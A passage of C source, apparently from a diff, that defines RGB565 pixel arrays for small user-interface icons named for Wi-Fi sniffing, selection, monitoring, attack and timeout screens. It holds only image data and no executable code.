0x1846,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D3,0x1024,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0000,0x0000,0x0000, - 0x1846,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x7119,0x1023,0x408E,0x7119,0x711A,0x711A,0x711A,0x711A,0x711A,0x711A,0x711A,0x6918,0x2869,0x0000,0x0000, - 0x1846,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x1024,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x915F,0x60F6,0x0000,0x0000, - 0x1846,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D3,0x1024,0x793C,0x895F,0x895F,0x793B,0x40B0,0x306B,0x306B,0x306B,0x306B,0x306B,0x2048,0x0000,0x0000, - 0x1846,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x915F,0x58D4,0x1024,0x793C,0x895F,0x793C,0x2048,0x1024,0x306A,0x306B,0x306B,0x306B,0x306B,0x306A,0x1024,0x0000, - 0x1025,0x60F7,0x7119,0x6919,0x6919,0x6919,0x6919,0x6919,0x7119,0x40AF,0x1024,0x793C,0x895F,0x58D4,0x1023,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x0822, - 0x0000,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0801,0x1024,0x793C,0x895F,0x48B0,0x1846,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1845, - 0x1024,0x60F6,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6919,0x40AF,0x1024,0x793C,0x895F,0x48B0,0x1846,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793D,0x1846, - 0x0801,0x60F6,0x917F,0x915F,0x915F,0x915F,0x915F,0x915F,0x917F,0x58D4,0x1024,0x793C,0x895F,0x48B0,0x1846,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793D,0x1846, - 0x0000,0x1024,0x50D2,0x60F7,0x60F7,0x60F7,0x60F7,0x60F7,0x60F7,0x388E,0x1024,0x793C,0x895F,0x48B0,0x1846,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793D,0x1846, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0823,0x0802,0x1024,0x793C,0x895F,0x48B0,0x1846,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793D,0x1846, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x7119,0x48B0,0x1024,0x793C,0x895F,0x48B0,0x1846,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793D,0x1846, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x388D,0x915F,0x58D4,0x1024,0x793C,0x895F,0x48B0,0x1846,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2047,0x6918,0x915F,0x58D4,0x0001,0x2047,0x2048,0x1024,0x1846,0x793C,0x815E,0x815E,0x815E,0x815E,0x815E,0x815E,0x793B,0x1845, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x306B,0x813D,0x895F,0x895F,0x58D4,0x0802,0x388D,0x40AF,0x2047,0x0001,0x1846,0x1847,0x1847,0x1847,0x1847,0x1847,0x1847,0x1846,0x0001, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x50D3,0x895F,0x895F,0x895F,0x50D3,0x1024,0x813D,0x917F,0x48B1,0x0823,0x40AF,0x40B0,0x40B0,0x40B0,0x40B0,0x40B0,0x40B0,0x408E,0x0823, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x2869,0x2869,0x2869,0x1845,0x0001,0x50D3,0x815E,0x40B0,0x1846,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x915F,0x813D,0x1825, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x1845,0x0823,0x0802,0x58D4,0x793D,0x793D,0x793D,0x793D,0x793D,0x793D,0x50D3,0x0001, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0801,0x1845,0x1846,0x1846,0x1846,0x1846,0x1825,0x0001,0x0000 - }; - - - - - - - - const unsigned short sniff_wifi[576] = { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x1024,0x308B,0x2869,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x2869,0x306B,0x1023,0x0000,0x0000, - 0x0000,0x1024,0x6918,0x895F,0x895F,0x48B1,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48D2,0x895F,0x895F,0x6918,0x1023,0x0000, - 0x0000,0x308B,0x895F,0x895F,0x895F,0x793B,0x1023,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x793C,0x895F,0x895F,0x895F,0x306B,0x0000, - 0x0000,0x2869,0x895F,0x895F,0x895F,0x793B,0x1023,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x793C,0x895F,0x895F,0x895E,0x2068,0x0000, - 0x0000,0x0001,0x48B1,0x793B,0x793B,0x815E,0x48B1,0x0001,0x0000,0x1023,0x50D3,0x58F5,0x58F5,0x50D3,0x0823,0x0000,0x0001,0x48D1,0x815E,0x793B,0x793B,0x48B0,0x0001,0x0000, - 0x0000,0x0000,0x0000,0x1023,0x1023,0x48B1,0x815E,0x48B1,0x1023,0x48B1,0x895F,0x895F,0x895F,0x895F,0x48B0,0x1023,0x48B1,0x815E,0x48B0,0x0823,0x1023,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D3,0x895F,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793B,0x895F,0x50D3,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x895F,0x895F,0x895F,0x895F,0x793B,0x60F7,0x60F7,0x793B,0x895F,0x895F,0x895F,0x895F,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x48B1,0x895F,0x895F,0x6919,0x308B,0x1825,0x388D,0x388D,0x1025,0x308C,0x7119,0x895F,0x895F,0x40B0,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x60F7,0x0823,0x0000,0x308C,0x895F,0x895F,0x306B,0x0000,0x1023,0x6918,0x793C,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x68F7,0x1023,0x0000,0x306B,0x895F,0x895F,0x286A,0x0000,0x1024,0x6918,0x793C,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x48B1,0x895F,0x895F,0x711A,0x388C,0x1845,0x388C,0x308C,0x1845,0x388D,0x711A,0x895F,0x895F,0x48B0,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x306B,0x895F,0x895F,0x895F,0x895F,0x793C,0x6918,0x6918,0x793C,0x895F,0x895F,0x895F,0x895E,0x306A,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x60F5,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x58D4,0x895F,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x895F,0x50D3,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x1024,0x1024,0x48D1,0x815E,0x40B0,0x0823,0x48B0,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0823,0x48B1,0x815E,0x48B1,0x1024,0x1024,0x0000,0x0000,0x0000, - 0x0000,0x0001,0x48D2,0x793C,0x793C,0x815E,0x48B0,0x0000,0x0000,0x1023,0x50D2,0x58D4,0x58D4,0x50D2,0x0823,0x0000,0x0001,0x48B1,0x815E,0x793C,0x793C,0x48B1,0x0001,0x0000, - 0x0000,0x2869,0x895F,0x895F,0x895F,0x793B,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x793C,0x895F,0x895F,0x895F,0x2869,0x0000, - 0x0000,0x306B,0x895F,0x895F,0x895F,0x793B,0x1023,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x793C,0x895F,0x895F,0x895F,0x286A,0x0000, - 0x0000,0x1023,0x6918,0x895F,0x895E,0x48B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B1,0x895F,0x895F,0x68F7,0x0823,0x0000, - 0x0000,0x0000,0x0823,0x306B,0x2068,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x2869,0x306A,0x0823,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - - const unsigned short select_wifi[144] = { - 0x0000,0x0802,0x40B0,0x48D2,0x48D2,0x48D2,0x48D2,0x48D2,0x48D2,0x50D2,0x50D3,0x308B, - 0x0822,0x1846,0x308C,0x388D,0x388D,0x388D,0x388D,0x388D,0x388D,0x308C,0x58D4,0x58D4, - 0x50D2,0x813D,0x793C,0x793C,0x793C,0x793C,0x793C,0x793C,0x793C,0x7119,0x308C,0x50D2, - 0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x388D,0x50D2, - 0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x815E,0x813D,0x388D,0x50D2, - 0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x388D,0x815E,0x813D,0x388D,0x50D2, - 0x58D4,0x895F,0x60F7,0x6918,0x895F,0x58F5,0x308C,0x793B,0x895F,0x793D,0x388D,0x50D2, - 0x58D4,0x895F,0x711A,0x308B,0x40AF,0x308C,0x793B,0x895F,0x895F,0x793D,0x388D,0x50D2, - 0x58D4,0x895F,0x895F,0x711A,0x40AF,0x793B,0x895F,0x895F,0x895F,0x793D,0x388D,0x50D2, - 0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793D,0x308C,0x48B0, - 0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0802, - 0x308B,0x58D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x58D4,0x48B1,0x0822,0x0000 - }; - - - - - const unsigned short moni_wifi[576]= { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x1025,0x2048,0x2068,0x1846,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x60F6,0x793C,0x895F,0x895F,0x813D,0x6919,0x388E,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0801,0x48D2,0x815E,0x915F,0x895F,0x813D,0x813D,0x895F,0x915F,0x895F,0x60F7,0x1025,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x48D1,0x895F,0x895F,0x60F7,0x306B,0x1825,0x1025,0x2068,0x50D3,0x815E,0x895F,0x6918,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x286A,0x815E,0x895F,0x50D2,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x813D,0x895F,0x48B1,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x60F6,0x915F,0x60F7,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x895F,0x793C,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x1024,0x793C,0x895F,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x2047,0x815E,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x6918,0x915F,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x2048,0x895E,0x813D,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x6918,0x915F,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x1825,0x813D,0x895F,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1023,0x793B,0x895F,0x308C,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0001,0x6918,0x915F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x388D,0x895F,0x813D,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x388D,0x895F,0x815E,0x388D,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2047,0x793B,0x895F,0x50D3,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0801,0x60F6,0x895F,0x815E,0x48B1,0x1845,0x0801,0x0001,0x1024,0x388D,0x793B,0x895F,0x895E,0x308C,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x1024,0x60F7,0x895F,0x895F,0x813D,0x6919,0x6918,0x793C,0x895F,0x895F,0x813D,0x895F,0x813D,0x793B,0x286A,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0822,0x40B0,0x793B,0x895F,0x895F,0x895F,0x895F,0x813D,0x50D3,0x2869,0x793B,0x895F,0x895F,0x793D,0x286A,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1023,0x286A,0x388E,0x40AE,0x306B,0x1825,0x0000,0x0801,0x6918,0x895F,0x895F,0x895F,0x793C,0x2869,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x711A,0x895F,0x895F,0x895F,0x793C,0x2048,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2047,0x793B,0x895F,0x895F,0x895F,0x793B,0x2048,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2048,0x793B,0x895F,0x895F,0x895F,0x711A,0x1024,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2048,0x793C,0x895F,0x895F,0x711A,0x1024,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x793C,0x711A,0x1847,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x1024,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - const unsigned short atack_wifi[576]= { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x2048,0x388D,0x40AF,0x40AF,0x388D,0x2048,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x48D1,0x711A,0x815E,0x895F,0x895F,0x895F,0x895F,0x815E,0x711A,0x48B1,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0802,0x48B0,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x48B0,0x0802,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x1024,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F6,0x1023,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0822,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F6,0x0802,0x0000,0x0000, - 0x0000,0x0000,0x48B1,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x48B0,0x0000,0x0000, - 0x0000,0x1846,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793D,0x1846,0x0000, - 0x0000,0x48B0,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40B0,0x0000, - 0x0001,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7,0x0001, - 0x1024,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x1023, - 0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x793C,0x793C,0x793C,0x793C,0x813D,0x895F,0x895F,0x815E,0x793C,0x793C,0x793C,0x793C,0x815E,0x895F,0x895F,0x895F,0x793B,0x1024, - 0x1023,0x713B,0x895F,0x895F,0x895F,0x68F7,0x1025,0x1024,0x1024,0x1023,0x308B,0x895F,0x895F,0x48B1,0x1023,0x1024,0x1024,0x1024,0x50D2,0x895F,0x895F,0x895F,0x711A,0x0823, - 0x0001,0x60F7,0x895F,0x895F,0x895F,0x68F7,0x0000,0x0000,0x0000,0x0000,0x2869,0x895F,0x895F,0x40B0,0x0000,0x0000,0x0000,0x0000,0x48B1,0x895F,0x895F,0x895F,0x60F6,0x0001, - 0x0000,0x40AF,0x895F,0x895F,0x895F,0x815E,0x2869,0x0000,0x0000,0x0001,0x58F5,0x895F,0x895F,0x711A,0x1024,0x0000,0x0000,0x1025,0x713B,0x895F,0x895F,0x895F,0x40AE,0x0000, - 0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x793B,0x388E,0x286A,0x58D4,0x895F,0x60F7,0x60F7,0x895F,0x6918,0x308B,0x308C,0x6918,0x895F,0x895F,0x895F,0x793C,0x1024,0x0000, - 0x0000,0x0000,0x40AF,0x895F,0x815E,0x7119,0x895F,0x895F,0x895F,0x895F,0x60F7,0x0802,0x0802,0x60F6,0x895F,0x895F,0x895F,0x895F,0x711A,0x813D,0x895F,0x408E,0x0000,0x0000, - 0x0000,0x0000,0x0801,0x58D4,0x58F5,0x48B0,0x895F,0x895F,0x895F,0x895F,0x308C,0x2048,0x2068,0x308B,0x815E,0x895F,0x895F,0x895F,0x50D2,0x50D3,0x58D4,0x0001,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0822,0x1024,0x40AF,0x895F,0x895F,0x895F,0x895F,0x813D,0x815E,0x815E,0x813D,0x895F,0x895F,0x895F,0x895F,0x48B1,0x0823,0x0802,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x48D2,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x48D2,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x48B1,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x2048,0x793D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2047,0x50D2,0x711A,0x815E,0x895F,0x895F,0x895F,0x895F,0x815E,0x793B,0x58D4,0x2069,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x2048,0x308C,0x40AF,0x40AF,0x388D,0x2869,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - - - - - const unsigned short timeout[576] = { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x50D3,0x388E,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x408E,0x793C,0x895F,0x793B,0x388E,0x2048,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x1846,0x0802,0x58F5,0x895F,0x895F,0x815E,0x813D,0x815E,0x6919,0x308C,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x286A,0x711A,0x1025,0x0802,0x408E,0x793B,0x58D4,0x1825,0x308B,0x60F7,0x815E,0x58F4,0x1023,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x50D2,0x1847,0x0001,0x0000,0x0000,0x1024,0x0823,0x0000,0x0000,0x0001,0x388D,0x813D,0x60F6,0x0823,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x2068,0x48B1,0x2068,0x0000,0x0000,0x0000,0x0000,0x1025,0x1025,0x0000,0x0000,0x0000,0x0000,0x286A,0x813D,0x50D2,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x1825,0x793C,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x58F5,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x40B0,0x813D,0x2048,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x1825,0x308C,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x60F6,0x0000,0x0000,0x0000,0x0000,0x0000,0x1023,0x793B,0x50D3,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0822,0x6918,0x388D,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x60F6,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D2,0x713B,0x0822,0x0000,0x0000, - 0x0000,0x0000,0x1846,0x813D,0x48B1,0x1023,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x60F6,0x0000,0x0000,0x0000,0x0000,0x0000,0x1023,0x48B1,0x813D,0x1846,0x0000,0x0000, - 0x0000,0x0000,0x2047,0x815E,0x815E,0x60F7,0x0802,0x0000,0x0000,0x0000,0x0000,0x58D4,0x793B,0x1025,0x0000,0x0000,0x0000,0x0802,0x60F7,0x815E,0x815E,0x2047,0x0000,0x0000, - 0x0000,0x0000,0x1846,0x813D,0x58D4,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000,0x2048,0x793C,0x6918,0x1024,0x0000,0x0000,0x0000,0x2048,0x58D4,0x813D,0x1846,0x0000,0x0000, - 0x0000,0x0000,0x1023,0x793C,0x48B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x793C,0x6918,0x1024,0x0000,0x0000,0x0000,0x48B0,0x793C,0x1023,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x60F6,0x6919,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x793C,0x6918,0x0823,0x0000,0x0802,0x6919,0x60F6,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x306B,0x815E,0x308C,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x60F6,0x1025,0x0000,0x308B,0x815E,0x306B,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0801,0x60F6,0x793B,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0000,0x1846,0x793B,0x60F6,0x0801,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x1846,0x793B,0x7119,0x2047,0x0000,0x0000,0x0000,0x1846,0x1845,0x0000,0x0000,0x0000,0x2047,0x7119,0x793B,0x1846,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x2047,0x711A,0x793C,0x40B0,0x1825,0x0801,0x60F5,0x58F5,0x0801,0x1825,0x40B0,0x793C,0x711A,0x2047,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x50D3,0x813D,0x813D,0x6918,0x813D,0x813D,0x6918,0x813D,0x813D,0x50D3,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x40AF,0x60F5,0x6918,0x6918,0x60F5,0x40AF,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 